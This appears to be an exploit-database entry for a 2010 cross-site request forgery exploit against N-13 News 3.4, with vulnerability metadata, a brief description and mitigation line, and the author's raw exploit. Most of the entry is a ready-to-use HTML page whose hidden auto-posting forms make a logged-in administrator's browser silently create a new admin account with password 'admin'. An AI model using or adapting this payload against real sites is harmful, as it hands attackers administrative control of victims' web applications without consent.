N-13 News 3.4 Remote Admin Add CSRF Exploit

vendor:

N-13 News

by:

anT!-Tr0J4n

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: N-13 News

Affected Version From: 3.4

Affected Version To: 3.4

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP sp3

2010

N-13 News 3.4 Remote Admin Add CSRF Exploit

This exploit allows an attacker to create a malicious web page that, when visited by an authenticated user, will create a new admin account with the username 'admin' and the password 'admin'. The malicious web page contains two forms, one that creates the new admin account and another that sends a GET request to the main.php file. The exploit is possible due to the lack of CSRF protection in the N-13 News 3.4 application.

Mitigation:

Implement CSRF protection on all web applications.

Source

Exploit-DB raw data:

========================================================
N-13 News 3.4 Remote Admin Add CSRF Exploit
========================================================

#Title: N-13 News 3.4 Remote Admin Add CSRF Exploit

#Author         :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; hack-book.com // GlaDiatOr ; Coffin Of Evil ;The Sword; Cyber-Err0r ; R3d-D3v1L

#special thanks    :  1337db team : r0073r, Sid3^effects ,L0rd CruSad3r ,SeeMe ,gunslinger_ ,Sn!pEr.S!Te , indoushka , KnocKout,
 
#Home     : http://1337db.com

#Software :  http://network-13.com

#Version   :  3.4

#Tested on:   Windows XP sp3

-----------------------------------
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by anT!-Tr0J4n</H2>
<form method="POST" name="form0" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form1" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/> 
</form>

</body>
</html>